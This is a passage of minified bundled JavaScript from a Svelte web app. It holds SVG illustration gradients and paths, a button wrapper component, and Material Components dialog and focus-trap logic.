ef","#linear-gradient-2"),(0,a.Lj)(g,"id","linear-gradient-6"),(0,a.Lj)(g,"x1","1072.7"),(0,a.Lj)(g,"y1","132.54"),(0,a.Lj)(g,"x2","1018.55"),(0,a.Lj)(g,"y2","319.99"),(0,a.G_)(g,"xlink:href","#linear-gradient-2"),(0,a.Lj)(L,"id","linear-gradient-7"),(0,a.Lj)(L,"x1","1104.16"),(0,a.Lj)(L,"y1","104.35"),(0,a.Lj)(L,"x2","1046.97"),(0,a.Lj)(L,"y2","302.3"),(0,a.G_)(L,"xlink:href","#linear-gradient-4"),(0,a.Lj)(y,"id","linear-gradient-8"),(0,a.Lj)(y,"x1","1098.26"),(0,a.Lj)(y,"y1","129"),(0,a.Lj)(y,"x2","1063.96"),(0,a.Lj)(y,"y2","247.74"),(0,a.G_)(y,"xlink:href","#linear-gradient-2"),(0,a.Lj)(v,"id","linear-gradient-9"),(0,a.Lj)(v,"x1","1084.81"),(0,a.Lj)(v,"y1","143.24"),(0,a.Lj)(v,"x2","1057.92"),(0,a.Lj)(v,"y2","236.34"),(0,a.G_)(v,"xlink:href","#linear-gradient-2"),(0,a.Lj)(M,"id","linear-gradient-10"),(0,a.Lj)(M,"x1","107.36"),(0,a.Lj)(M,"y1","206.95"),(0,a.Lj)(M,"x2","161.43"),(0,a.Lj)(M,"y2","206.95"),(0,a.Lj)(M,"gradientTransform","matrix(0.72, -0.69, 0.69, 0.72, 43.15, -34.11)"),(0,a.G_)(M,"xlink:href","#linear-gradient-2"),(0,a.Lj)(Y,"offset","0"),(0,a.Lj)(Y,"stop-color","#444b8c"),(0,a.Lj)(k,"offset","1"),(0,a.Lj)(k,"stop-color","#26264f"),(0,a.Lj)(b,"id","linear-gradient-11"),(0,a.Lj)(b,"x1","-158.31"),(0,a.Lj)(b,"y1","198.89"),(0,a.Lj)(b,"x2","-102.71"),(0,a.Lj)(b,"y2","198.89"),(0,a.Lj)(b,"gradientTransform","matrix(0.75, -0.66, 0.66, 0.75, 141.33, -94.52)"),(0,a.Lj)(b,"gradientUnits","userSpaceOnUse"),(0,a.Lj)(w,"id","linear-gradient-12"),(0,a.Lj)(w,"x1","106.73"),(0,a.Lj)(w,"y1","237.47"),(0,a.Lj)(w,"x2","159.98"),(0,a.Lj)(w,"y2","237.47"),(0,a.Lj)(w,"gradientTransform","matrix(0.72, -0.69, 0.69, 0.72, 43.15, -34.11)"),(0,a.G_)(w,"xlink:href","#linear-gradient-2"),(0,a.Lj)(T,"id","linear-gradient-13"),(0,a.Lj)(T,"x1","103.38"),(0,a.Lj)(T,"y1","238.91"),(0,a.Lj)(T,"x2","159.91"),(0,a.Lj)(T,"y2","238.91"),(0,a.Lj)(T,"gradientTransform","matrix(0.72, -0.69, 0.69, 0.72, 43.15, -34.11)"),(0,a.G_)(T,"xlink:href","#linear-gradient"),(0,a.Lj)(D,"id","linear-gradient-14"),(0,a.Lj)(D,"x1","104.01"),(0,a.Lj)(D,"y1","205.17"),(0,a.Lj)(D,"x2","161.43"),(0,a.Lj)(D,"y2","205.17"),(0,a.Lj)(D,"gradientTransform","matrix(0.72, -0.69, 0.69, 0.72, 43.15, -34.11)"),(0,a.G_)(D,"xlink:href","#linear-gradient"),(0,a.Lj)(x,"id","linear-gradient-15"),(0,a.Lj)(x,"x1","13.06"),(0,a.Lj)(x,"y1","201.9"),(0,a.Lj)(x,"x2","14.14"),(0,a.Lj)(x,"y2","251.23"),(0,a.Lj)(x,"gradientTransform","matrix(0.72, -0.69, 0.69, 0.72, 43.15, -34.11)"),(0,a.G_)(x,"xlink:href","#linear-gradient"),(0,a.Lj)($,"id","linear-gradient-16"),(0,a.Lj)($,"x1","12.53"),(0,a.Lj)($,"y1","201.91"),(0,a.Lj)($,"x2","13.61"),(0,a.Lj)($,"y2","251.24"),(0,a.Lj)($,"gradientTransform","matrix(0.72, -0.69, 0.69, 0.72, 43.15, -34.11)"),(0,a.G_)($,"xlink:href","#linear-gradient"),(0,a.Lj)(j,"offset","0"),(0,a.Lj)(j,"stop-color","#aa80f9"),(0,a.Lj)(H,"offset","1"),(0,a.Lj)(H,"stop-color","#6165d7"),(0,a.Lj)(S,"id","linear-gradient-17"),(0,a.Lj)(S,"x1","-18.8"),(0,a.Lj)(S,"y1","-105.9"),(0,a.Lj)(S,"x2","94.8"),(0,a.Lj)(S,"y2","-105.9"),(0,a.Lj)(S,"gradientTransform","translate(255.32 183.5) rotate(-19.53)"),(0,a.Lj)(S,"gradientUnits","userSpaceOnUse"),(0,a.Lj)(C,"id","linear-gradient-18"),(0,a.Lj)(C,"x1","-14.1"),(0,a.Lj)(C,"y1","-102.14"),(0,a.Lj)(C,"x2","94.8"),(0,a.Lj)(C,"y2","-102.14"),(0,a.G_)(C,"xlink:href","#linear-gradient-17"),(0,a.Lj)(E,"id","linear-gradient-19"),(0,a.Lj)(E,"x1","89.1"),(0,a.Lj)(E,"y1","-130.8"),(0,a.Lj)(E,"x2","95.54"),(0,a.Lj)(E,"y2","-130.8"),(0,a.G_)(E,"xlink:href","#linear-gradient-17"),(0,a.Lj)(R,"class","cls-2"),(0,a.Lj)(R,"d","M273.27,164.51c0,73.41-56,136.77-129,141.79C66.64,311.63,0,249.68,0,167.6s66.64-145.54,144.25-142C217.23,29,273.27,91.1,273.27,164.51Z"),(0,a.Lj)(P,"class","cls-3"),(0,a.Lj)(P,"d","M280.63,164.51c0,73.41-56,136.77-129,141.79C74,311.63,7.36,249.68,7.36,167.6S74,22.06,151.62,25.64C224.59,29,280.63,91.1,280.63,164.51Z"),(0,a.Lj)(N,"class","cls-5"),(0,a.Lj)(N,"d","M177.29,259.23c-26.35-30-1.45-68.39-29.06-105.71-25.63-34.62-61.7-22.37-89.48-58.87A91.41,91.41,0,0,1,45.43,69.84,143.56,143.56,0,0,0,7.36,167.6c0,82.08,66.64,144,144.26,138.7a135.1,135.1,0,0,0,71.57-26.59C200.58,277.64,186.36,269.54,177.29,259.23Z"),(0,a.Lj)(F,"class","cls-4"),(0,a.Lj)(z,"class","cls-6"),(0,a.Lj)(z,"d","M268.34,164.65c0,66.42-50.85,123.47-116.72,127.62C82,296.65,22.55,240.86,22.55,167.43S82,36.86,151.62,39.67C217.49,42.33,268.34,98.23,268.34,164.65Z"),(0,a.Lj)(U,"class","cls-7"),(0,a.Lj)(U,"d","M151.62,292.27a121,121,0,0,0,53-16.06c-12.33-3.76-21.09-9.84-27.37-17-26.35-30-1.45-68.39-29.06-105.71-25.63-34.62-61.7-22.37-89.48-58.87a88.67,88.67,0,0,1-6.55-9.94,129.3,129.3,0,0,0-29.65,82.72C22.55,240.86,82,296.65,151.62,292.27Z"),(0,a.Lj)(W,"class","cls-8"),(0,a.Lj)(W,"d","M243.38,164.93c0,52.22-40.22,96.61-91.76,99.27C97.8,267,52.4,223.54,52.4,167.09S97.8,66.18,151.62,67.74C203.16,69.23,243.38,112.72,243.38,164.93Z"),(0,a.Lj)(V,"class","cls-9"),(0,a.Lj)(V,"d","M148.23,153.52c-21.86-29.54-51.29-25-76.74-45.63a100.6,100.6,0,0,0-19.09,59.2c0,56.45,45.4,99.88,99.22,97.11a93.42,93.42,0,0,0,25.67-5h0C150.94,229.28,175.84,190.84,148.23,153.52Z"),(0,a.Lj)(G,"class","cls-10"),(0,a.Lj)(G,"d","M217.87,165.22c0,37.7-29.21,69.43-66.25,70.91-38.21,1.53-70.06-29.51-70.06-69.37s31.85-71.62,70.06-71C188.66,96.45,217.87,127.52,217.87,165.22Z"),(0,a.Lj)(q,"class","cls-7"),(0,a.Lj)(q,"d","M97.05,122a71.9,71.9,0,0,0-15.49,44.73c0,39.86,31.85,70.9,70.06,69.37a66.77,66.77,0,0,0,13.72-2c-4.89-25,3.33-53-17.11-80.63C133.43,133.53,115.19,129.16,97.05,122Z"),(0,a.Lj)(B,"class","cls-11"),(0,a.Lj)(B,"d","M191.81,165.51c0,22.87-17.83,41.92-40.19,42.56-22.78.65-41.56-18-41.56-41.63s18.78-42.71,41.56-42.57C174,124,191.81,142.65,191.81,165.51Z"),(0,a.Lj)(Z,"class","cls-12"),(0,a.Lj)(Z,"d","M163.21,206c-.55-17.06-1.9-34.8-15-52.49a67.61,67.61,0,0,0-23.09-19.91,43,43,0,0,0-15.08,32.83c0,23.64,18.78,42.28,41.56,41.63A40.39,40.39,0,0,0,163.21,206Z"),(0,a.Lj)(J,"class","cls-13"),(0,a.Lj)(J,"d","M291.31,26.69c.09-.17-23.51,18.74-23.51,18.74l2.33-19.53c.78-6.56,23.28-22.51,29-25.9l1.23,1.38Z"),(0,a.Lj)(K,"class","cls-14"),(0,a.Lj)(K,"d","M199,125.73l-41.54,34.38a1.12,1.12,0,0,1-1.51-1.64l37.74-38.68a.61.61,0,0,1,.89,0l4.49,5A.6.6,0,0,1,199,125.73Z"),(0,a.Lj)(X,"class","cls-15"),(0,a.Lj)(X,"d","M301.07,36.42c.17-.07-21.61,22.12-21.61,22.12l19.33-.41C305.29,58,323.12,36.8,327,31.3l-1.22-1.37Z"),(0,a.Lj)(Q,"class","cls-16"),(0,a.Lj)(Q,"d","M298.5,38.77c.16-.07-21.51,22-21.51,22l19.26-.39a20.37,20.37,0,0,0,16.25-8.63L327,31.3Z"),(0,a.Lj)(ee,"class","cls-17"),(0,a.Lj)(ee,"d","M289,28.13c.09-.17-23.68,19.59-23.68,19.59l2.3-19.47a20.87,20.87,0,0,1,10.05-15.6L299.16,0Z"),(0,a.Lj)(te,"class","cls-18"),(0,a.Lj)(te,"d","M223.69,115.14l-13.33,12c-4.68,4.24-12.19,3.43-16.82-1.78h0c-4.63-5.2-4.67-12.89-.07-17.21l13.11-12.3Z"),(0,a.Lj)(ae,"class","cls-19"),(0,a.Lj)(ae,"d","M208.07,117.41a35.17,35.17,0,0,1-17.63,2.16,13.82,13.82,0,0,0,3.1,5.84h0c4.63,5.21,12.14,6,16.82,1.78l13.33-12-5-5.65A26.49,26.49,0,0,1,208.07,117.41Z"),(0,a.Lj)(ne,"class","cls-4"),(0,a.Lj)(ie,"class","cls-20"),(0,a.Lj)(ie,"d","M303,34.29l-79.3,80.85c-5.24,4.66-22.35-14.58-17.11-19.24l87.58-71.54Z"),(0,a.Lj)(se,"class","cls-21"),(0,a.Lj)(se,"d","M275.65,55.75c-17.16,14.16-23.22,12.18-36.93,26.69-12.63,13.36-15.79,23.84-23.39,30.49,3.26,2.55,6.53,3.83,8.36,2.21L303,34.29l-3.44-3.86A142.33,142.33,0,0,1,275.65,55.75Z"),(0,a.Lj)(re,"class","cls-4"),(0,a.Lj)(oe,"class","cls-22"),(0,a.Lj)(oe,"d","M300.22,27.88c2.46,2.76,3.73,5.67,2.83,6.48s-3.6-.76-6.05-3.52-3.73-5.66-2.84-6.48S297.76,25.11,300.22,27.88Z"),(0,a.Lj)(I,"id","OBJECTS"),(0,a.Lj)(A,"id","Capa_2"),(0,a.Lj)(A,"data-name","Capa 2"),(0,a.Lj)(O,"class","cls-1"),(0,a.NV)(t,le)},m(e,de){(0,a.$T)(e,t,de),(0,a.R3)(t,n),(0,a.R3)(n,i),(0,a.R3)(i,r),(0,a.R3)(n,s),(0,a.R3)(s,o),(0,a.R3)(s,d),(0,a.R3)(n,l),(0,a.R3)(l,u),(0,a.R3)(l,c),(0,a.R3)(n,m),(0,a.R3)(n,_),(0,a.R3)(_,h),(0,a.R3)(_,f),(0,a.R3)(n,p),(0,a.R3)(n,g),(0,a.R3)(n,L),(0,a.R3)(n,y),(0,a.R3)(n,v),(0,a.R3)(n,M),(0,a.R3)(n,b),(0,a.R3)(b,Y),(0,a.R3)(b,k),(0,a.R3)(n,w),(0,a.R3)(n,T),(0,a.R3)(n,D),(0,a.R3)(n,x),(0,a.R3)(n,$),(0,a.R3)(n,S),(0,a.R3)(S,j),(0,a.R3)(S,H),(0,a.R3)(n,C),(0,a.R3)(n,E),(0,a.R3)(t,O),(0,a.R3)(O,A),(0,a.R3)(A,I),(0,a.R3)(I,R),(0,a.R3)(I,P),(0,a.R3)(I,F),(0,a.R3)(F,N),(0,a.R3)(I,z),(0,a.R3)(I,U),(0,a.R3)(I,W),(0,a.R3)(I,V),(0,a.R3)(I,G),(0,a.R3)(I,q),(0,a.R3)(I,B),(0,a.R3)(I,Z),(0,a.R3)(I,J),(0,a.R3)(I,K),(0,a.R3)(I,X),(0,a.R3)(I,Q),(0,a.R3)(I,ee),(0,a.R3)(I,te),(0,a.R3)(I,ne),(0,a.R3)(ne,ae),(0,a.R3)(I,ie),(0,a.R3)(I,re),(0,a.R3)(re,se),(0,a.R3)(I,oe)},p(e,[n]){(0,a.NV)(t,le=(0,a.Lo)(de,[{xmlns:"http://www.w3.org/2000/svg"},{"xmlns:xlink":"http://www.w3.org/1999/xlink"},{viewBox:"0 0 327 306.62"},1&n&&e[0]]))},i:a.ZT,o:a.ZT,d(e){e&&(0,a.og)(t)}}}function r(e,t,n){let i;const r=[];let s=(0,a.q2)(t,r);return e.$$set=e=>{t=(0,a.f0)((0,a.f0)({},t),(0,a.Jv)(e)),n(1,s=(0,a.q2)(t,r))},e.$$.update=()=>{n(0,i={...s})},[i]}class s extends a.f_{constructor(e){super(),(0,a.S1)(this,e,r,i,a.N8,{})}}const o=s},74162:(e,t,n)=>{"use strict";n.d(t,{Z:()=>h});var a=n(21379),i=n(50942),r=n(93379),s=n.n(r),o=n(81970),d={insert:"head",singleton:!1};s()(o.Z,d);o.Z.locals;function l(e){let t;const n=e[3].default,i=(0,a.nu)(n,e,e[5],null);return{c(){i&&i.c()},m(e,n){i&&i.m(e,n),t=!0},p(e,r){i&&i.p&&(!t||32&r)&&(0,a.Tj)(i,n,e,e[5],t?r:-1,null,null)},i(e){t||((0,a.Ui)(i,e),t=!0)},o(e){(0,a.et)(i,e),t=!1},d(e){i&&i.d(e)}}}function u(e){let t,n;return t=new i.__({props:{$$slots:{default:[l]},$$scope:{ctx:e}}}),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,n){const a={};32&n&&(a.$$scope={dirty:n,ctx:e}),t.$set(a)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}function c(e){let t,n;const r=[e[2],{href:e[1]},{variant:e[0]},{height:"100px"},{action:null}];let s={$$slots:{default:[u]},$$scope:{ctx:e}};for(let e=0;e<r.length;e+=1)s=(0,a.f0)(s,r[e]);return t=new i.ZP({props:s}),t.$on("click",e[4]),{c(){(0,a.YC)(t.$$.fragment)},m(e,i){(0,a.ye)(t,e,i),n=!0},p(e,[n]){const i=7&n?(0,a.Lo)(r,[4&n&&(0,a.gC)(e[2]),2&n&&{href:e[1]},1&n&&{variant:e[0]},r[3],r[4]]):{};32&n&&(i.$$scope={dirty:n,ctx:e}),t.$set(i)},i(e){n||((0,a.Ui)(t.$$.fragment,e),n=!0)},o(e){(0,a.et)(t.$$.fragment,e),n=!1},d(e){(0,a.vp)(t,e)}}}function m(e,t,n){let i;const r=["variant","href"];let s=(0,a.q2)(t,r),{$$slots:o={},$$scope:d}=t,{variant:l="raised"}=t,{href:u}=t;return e.$$set=e=>{t=(0,a.f0)((0,a.f0)({},t),(0,a.Jv)(e)),n(6,s=(0,a.q2)(t,r)),"variant"in e&&n(0,l=e.variant),"href"in e&&n(1,u=e.href),"$$scope"in e&&n(5,d=e.$$scope)},e.$$.update=()=>{n(2,i={...s,class:`${s.class||""}`})},[l,u,i,o,function(t){a.cK.call(this,e,t)},d]}class _ extends a.f_{constructor(e){super(),(0,a.S1)(this,e,m,c,a.N8,{variant:0,href:1})}}const h=_},76325:(e,t,n)=>{"use strict";n.d(t,{Z:()=>J});var a={};n.r(a),n.d(a,{FocusTrap:()=>h});var i,r=n(21379),s=n(70655),o=function(){function e(){this.rafIDs=new Map}return e.prototype.request=function(e,t){var n=this;this.cancel(e);var a=requestAnimationFrame((function(a){n.rafIDs.delete(e),t(a)}));this.rafIDs.set(e,a)},e.prototype.cancel=function(e){var t=this.rafIDs.get(e);t&&(cancelAnimationFrame(t),this.rafIDs.delete(e))},e.prototype.cancelAll=function(){var e=this;this.rafIDs.forEach((function(t,n){e.cancel(n)}))},e.prototype.getQueue=function(){var e=[];return this.rafIDs.forEach((function(t,n){e.push(n)})),e},e}(),d=n(6308),l={CLOSING:"mdc-dialog--closing",OPEN:"mdc-dialog--open",OPENING:"mdc-dialog--opening",SCROLLABLE:"mdc-dialog--scrollable",SCROLL_LOCK:"mdc-dialog-scroll-lock",STACKED:"mdc-dialog--stacked",FULLSCREEN:"mdc-dialog--fullscreen",SCROLL_DIVIDER_HEADER:"mdc-dialog-scroll-divider-header",SCROLL_DIVIDER_FOOTER:"mdc-dialog-scroll-divider-footer",SURFACE_SCRIM_SHOWN:"mdc-dialog__surface-scrim--shown",SURFACE_SCRIM_SHOWING:"mdc-dialog__surface-scrim--showing",SURFACE_SCRIM_HIDING:"mdc-dialog__surface-scrim--hiding",SCRIM_HIDDEN:"mdc-dialog__scrim--hidden"},u={ACTION_ATTRIBUTE:"data-mdc-dialog-action",BUTTON_DEFAULT_ATTRIBUTE:"data-mdc-dialog-button-default",BUTTON_SELECTOR:".mdc-dialog__button",CLOSED_EVENT:"MDCDialog:closed",CLOSE_ACTION:"close",CLOSING_EVENT:"MDCDialog:closing",CONTAINER_SELECTOR:".mdc-dialog__container",CONTENT_SELECTOR:".mdc-dialog__content",DESTROY_ACTION:"destroy",INITIAL_FOCUS_ATTRIBUTE:"data-mdc-dialog-initial-focus",OPENED_EVENT:"MDCDialog:opened",OPENING_EVENT:"MDCDialog:opening",SCRIM_SELECTOR:".mdc-dialog__scrim",SUPPRESS_DEFAULT_PRESS_SELECTOR:["textarea",".mdc-menu .mdc-list-item",".mdc-menu .mdc-deprecated-list-item"].join(", "),SURFACE_SELECTOR:".mdc-dialog__surface"},c={DIALOG_ANIMATION_CLOSE_TIME_MS:75,DIALOG_ANIMATION_OPEN_TIME_MS:150};!function(e){e.POLL_SCROLL_POS="poll_scroll_position",e.POLL_LAYOUT_CHANGE="poll_layout_change"}(i||(i={}));var m=function(e){function t(n){var a=e.call(this,(0,s.pi)((0,s.pi)({},t.defaultAdapter),n))||this;return a.dialogOpen=!1,a.isFullscreen=!1,a.animationFrame=0,a.animationTimer=0,a.escapeKeyAction=u.CLOSE_ACTION,a.scrimClickAction=u.CLOSE_ACTION,a.autoStackButtons=!0,a.areButtonsStacked=!1,a.suppressDefaultPressSelector=u.SUPPRESS_DEFAULT_PRESS_SELECTOR,a.animFrame=new o,a.contentScrollHandler=function(){a.handleScrollEvent()},a.windowResizeHandler=function(){a.layout()},a.windowOrientationChangeHandler=function(){a.layout()},a}return(0,s.ZT)(t,e),Object.defineProperty(t,"cssClasses",{get:function(){return l},enumerable:!1,configurable:!0}),Object.defineProperty(t,"strings",{get:function(){return u},enumerable:!1,configurable:!0}),Object.defineProperty(t,"numbers",{get:function(){return c},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function(){return{addBodyClass:function(){},addClass:function(){},areButtonsStacked:function(){return!1},clickDefaultButton:function(){},eventTargetMatches:function(){return!1},getActionFromEvent:function(){return""},getInitialFocusEl:function(){return null},hasClass:function(){return!1},isContentScrollable:function(){return!1},notifyClosed:function(){},notifyClosing:function(){},notifyOpened:function(){},notifyOpening:function(){},releaseFocus:function(){},removeBodyClass:function(){},removeClass:function(){},reverseButtons:function(){},trapFocus:function(){},registerContentEventHandler:function(){},deregisterContentEventHandler:function(){},isScrollableContentAtTop:function(){return!1},isScrollableContentAtBottom:function(){return!1},registerWindowEventHandler:function(){},deregisterWindowEventHandler:function(){}}},enumerable:!1,configurable:!0}),t.prototype.init=function(){this.adapter.hasClass(l.STACKED)&&this.setAutoStackButtons(!1),this.isFullscreen=this.adapter.hasClass(l.FULLSCREEN)},t.prototype.destroy=function(){this.dialogOpen&&this.close(u.DESTROY_ACTION),this.animationTimer&&(clearTimeout(this.animationTimer),this.handleAnimationTimerEnd()),this.isFullscreen&&this.adapter.deregisterContentEventHandler("scroll",this.contentScrollHandler),this.animFrame.cancelAll(),this.adapter.deregisterWindowEventHandler("resize",this.windowResizeHandler),this.adapter.deregisterWindowEventHandler("orientationchange",this.windowOrientationChangeHandler)},t.prototype.open=function(e){var t=this;this.dialogOpen=!0,this.adapter.notifyOpening(),this.adapter.addClass(l.OPENING),this.isFullscreen&&this.adapter.registerContentEventHandler("scroll",this.contentScrollHandler),e&&e.isAboveFullscreenDialog&&this.adapter.addClass(l.SCRIM_HIDDEN),this.adapter.registerWindowEventHandler("resize",this.windowResizeHandler),this.adapter.registerWindowEventHandler("orientationchange",this.windowOrientationChangeHandler),this.runNextAnimationFrame((function(){t.adapter.addClass(l.OPEN),t.adapter.addBodyClass(l.SCROLL_LOCK),t.layout(),t.animationTimer=setTimeout((function(){t.handleAnimationTimerEnd(),t.adapter.trapFocus(t.adapter.getInitialFocusEl()),t.adapter.notifyOpened()}),c.DIALOG_ANIMATION_OPEN_TIME_MS)}))},t.prototype.close=function(e){var t=this;void 0===e&&(e=""),this.dialogOpen&&(this.dialogOpen=!1,this.adapter.notifyClosing(e),this.adapter.addClass(l.CLOSING),this.adapter.removeClass(l.OPEN),this.adapter.removeBodyClass(l.SCROLL_LOCK),this.isFullscreen&&this.adapter.deregisterContentEventHandler("scroll",this.contentScrollHandler),this.adapter.deregisterWindowEventHandler("resize",this.windowResizeHandler),this.adapter.deregisterWindowEventHandler("orientationchange",this.windowOrientationChangeHandler),cancelAnimationFrame(this.animationFrame),this.animationFrame=0,clearTimeout(this.animationTimer),this.animationTimer=setTimeout((function(){t.adapter.releaseFocus(),t.handleAnimationTimerEnd(),t.adapter.notifyClosed(e)}),c.DIALOG_ANIMATION_CLOSE_TIME_MS))},t.prototype.showSurfaceScrim=function(){var e=this;this.adapter.addClass(l.SURFACE_SCRIM_SHOWING),this.runNextAnimationFrame((function(){e.adapter.addClass(l.SURFACE_SCRIM_SHOWN)}))},t.prototype.hideSurfaceScrim=function(){this.adapter.removeClass(l.SURFACE_SCRIM_SHOWN),this.adapter.addClass(l.SURFACE_SCRIM_HIDING)},t.prototype.handleSurfaceScrimTransitionEnd=function(){this.adapter.removeClass(l.SURFACE_SCRIM_HIDING),this.adapter.removeClass(l.SURFACE_SCRIM_SHOWING)},t.prototype.isOpen=function(){return this.dialogOpen},t.prototype.getEscapeKeyAction=function(){return this.escapeKeyAction},t.prototype.setEscapeKeyAction=function(e){this.escapeKeyAction=e},t.prototype.getScrimClickAction=function(){return this.scrimClickAction},t.prototype.setScrimClickAction=function(e){this.scrimClickAction=e},t.prototype.getAutoStackButtons=function(){return this.autoStackButtons},t.prototype.setAutoStackButtons=function(e){this.autoStackButtons=e},t.prototype.getSuppressDefaultPressSelector=function(){return this.suppressDefaultPressSelector},t.prototype.setSuppressDefaultPressSelector=function(e){this.suppressDefaultPressSelector=e},t.prototype.layout=function(){var e=this;this.animFrame.request(i.POLL_LAYOUT_CHANGE,(function(){e.layoutInternal()}))},t.prototype.handleClick=function(e){if(this.adapter.eventTargetMatches(e.target,u.SCRIM_SELECTOR)&&""!==this.scrimClickAction)this.close(this.scrimClickAction);else{var t=this.adapter.getActionFromEvent(e);t&&this.close(t)}},t.prototype.handleKeydown=function(e){var t="Enter"===e.key||13===e.keyCode;if(t&&!this.adapter.getActionFromEvent(e)){var n=e.composedPath?e.composedPath()[0]:e.target,a=!this.suppressDefaultPressSelector||!this.adapter.eventTargetMatches(n,this.suppressDefaultPressSelector);t&&a&&this.adapter.clickDefaultButton()}},t.prototype.handleDocumentKeydown=function(e){("Escape"===e.key||27===e.keyCode)&&""!==this.escapeKeyAction&&this.close(this.escapeKeyAction)},t.prototype.handleScrollEvent=function(){var e=this;this.animFrame.request(i.POLL_SCROLL_POS,(function(){e.toggleScrollDividerHeader(),e.toggleScrollDividerFooter()}))},t.prototype.layoutInternal=function(){this.autoStackButtons&&this.detectStackedButtons(),this.toggleScrollableClasses()},t.prototype.handleAnimationTimerEnd=function(){this.animationTimer=0,this.adapter.removeClass(l.OPENING),this.adapter.removeClass(l.CLOSING)},t.prototype.runNextAnimationFrame=function(e){var t=this;cancelAnimationFrame(this.animationFrame),this.animationFrame=requestAnimationFrame((function(){t.animationFrame=0,clearTimeout(t.animationTimer),t.animationTimer=setTimeout(e,0)}))},t.prototype.detectStackedButtons=function(){this.adapter.removeClass(l.STACKED);var e=this.adapter.areButtonsStacked();e&&this.adapter.addClass(l.STACKED),e!==this.areButtonsStacked&&(this.adapter.reverseButtons(),this.areButtonsStacked=e)},t.prototype.toggleScrollableClasses=function(){this.adapter.removeClass(l.SCROLLABLE),this.adapter.isContentScrollable()&&(this.adapter.addClass(l.SCROLLABLE),this.isFullscreen&&(this.toggleScrollDividerHeader(),this.toggleScrollDividerFooter()))},t.prototype.toggleScrollDividerHeader=function(){this.adapter.isScrollableContentAtTop()?this.adapter.hasClass(l.SCROLL_DIVIDER_HEADER)&&this.adapter.removeClass(l.SCROLL_DIVIDER_HEADER):this.adapter.addClass(l.SCROLL_DIVIDER_HEADER)},t.prototype.toggleScrollDividerFooter=function(){this.adapter.isScrollableContentAtBottom()?this.adapter.hasClass(l.SCROLL_DIVIDER_FOOTER)&&this.adapter.removeClass(l.SCROLL_DIVIDER_FOOTER):this.adapter.addClass(l.SCROLL_DIVIDER_FOOTER)},t}(d.K);var _="mdc-dom-focus-sentinel",h=function(){function e(e,t){void 0===t&&(t={}),this.root=e,this.options=t,this.elFocusedBeforeTrapFocus=null}return e.prototype.trapFocus=function(){var e=this.getFocusableElements(this.root);if(0===e.length)throw new Error("FocusTrap: Element must have at least one focusable child.");this.elFocusedBeforeTrapFocus=document.activeElement instanceof HTMLElement?document.activeElement:null,this.wrapTabFocus(this.root),this.options.skipInitialFocus||this.focusInitialElement(e,this.options.initialFocusEl)},e.prototype.releaseFocus=function(){[].slice.call(this.root.querySelectorAll("."+_)).forEach((function(e){e.parentElement.removeChild(e)})),!this.options.skipRestoreFocus&&this.elFocusedBeforeTrapFocus&&this.elFocusedBeforeTrapFocus.focus()},e.prototype.wrapTabFocus=function(e){var t=this,n=this.createSentinel(),a=this.createSentinel();n.addEventListener("focus",(function(){var n=t.getFocusableElements(e);n.length>0&&n[n.length-1].focus()})),a.addEventListener("focus",(function(){var n=t.getFocusableElements(e);n.length>0&&n[0].focus()})),e.insertBefore(n,e.children[0]),e.appendChild(a)},e.prototype.focusInitialElement=function(e,t){var n=0;t&&(n=Math.max(e.indexOf(t),0)),e[n].focus()},e.prototype.getFocusableElements=function(e){return[].slice.call(e.querySelectorAll("[autofocus], [tabindex], a, input, textarea, select, button")).filter((function(e){var t="true"===e.getAttribute("aria-disabled")||null!=e.getAttribute("disabled")||null!=e.getAttribute("hidden")||"true"===e.getAttribute("aria-hidden"),n=e.tabIndex>=0&&e.getBoundingClientRect().width>0&&!e.classList.contains(_)&&!t,a=!1;if(n){var i=getComputedStyle(e);a="none"===i.display||"hidden"===i.visibility}return n&&!a}))},e.prototype.createSentinel=function(){var e=document.createElement("div");return e.setAttribute("tabindex","0"),e.setAttribute("aria-hidden","true"),e.classList.add(_),e},e}(),f=n(42851),p=n(90400),g=n(15120),L=n(22730);const{document:y,window:v}=r.li,M=e=>({}),b=e=>({});function Y(e){let t,n,a;return{c(){t=(0,r.bG)("div"),(0,r.Lj)(t,"class","mdc-dialog__surface-scrim")},m(i,s){(0,r.$T)(i,t,s),n||(a=(0,r.oL)(t,"transitionend",e[31]),n=!0)},p:r.ZT,d(e){e&&(0,r.og)(t),n=!1,a()}}}function k(e){let t,n,a,i,s,o,d,l,u,c,m,_,h,f,p,g;const k=e[27].default,w=(0,r.nu)(k,e,e[26],null);let T=e[5]&&Y(e),D=[{class:o=(0,L.$o)({[e[7]]:!0,"mdc-dialog__surface":!0})},{role:"alertdialog"},{"aria-modal":"true"},(0,L.bO)(e[17],"surface$")],x={};for(let e=0;e<D.length;e+=1)x=(0,r.f0)(x,D[e]);let $=[{class:d=(0,L.$o)({[e[6]]:!0,"mdc-dialog__container":!0})},(0,L.bO)(e[17],"container$")],S={};for(let e=0;e<$.length;e+=1)S=(0,r.f0)(S,$[e]);let j=[{class:c=(0,L.$o)({[e[2]]:!0,"mdc-dialog":!0,"mdc-dialog--stacked":!e[4],"mdc-dialog--fullscreen":e[5],"smui-dialog--selection":e[3],...e[10]})},{role:"alertdialog"},{"aria-modal":"true"},(0,L.De)(e[17],["container$","surface$"])],H={};for(let e=0;e<j.length;e+=1)H=(0,r.f0)(H,j[e]);const 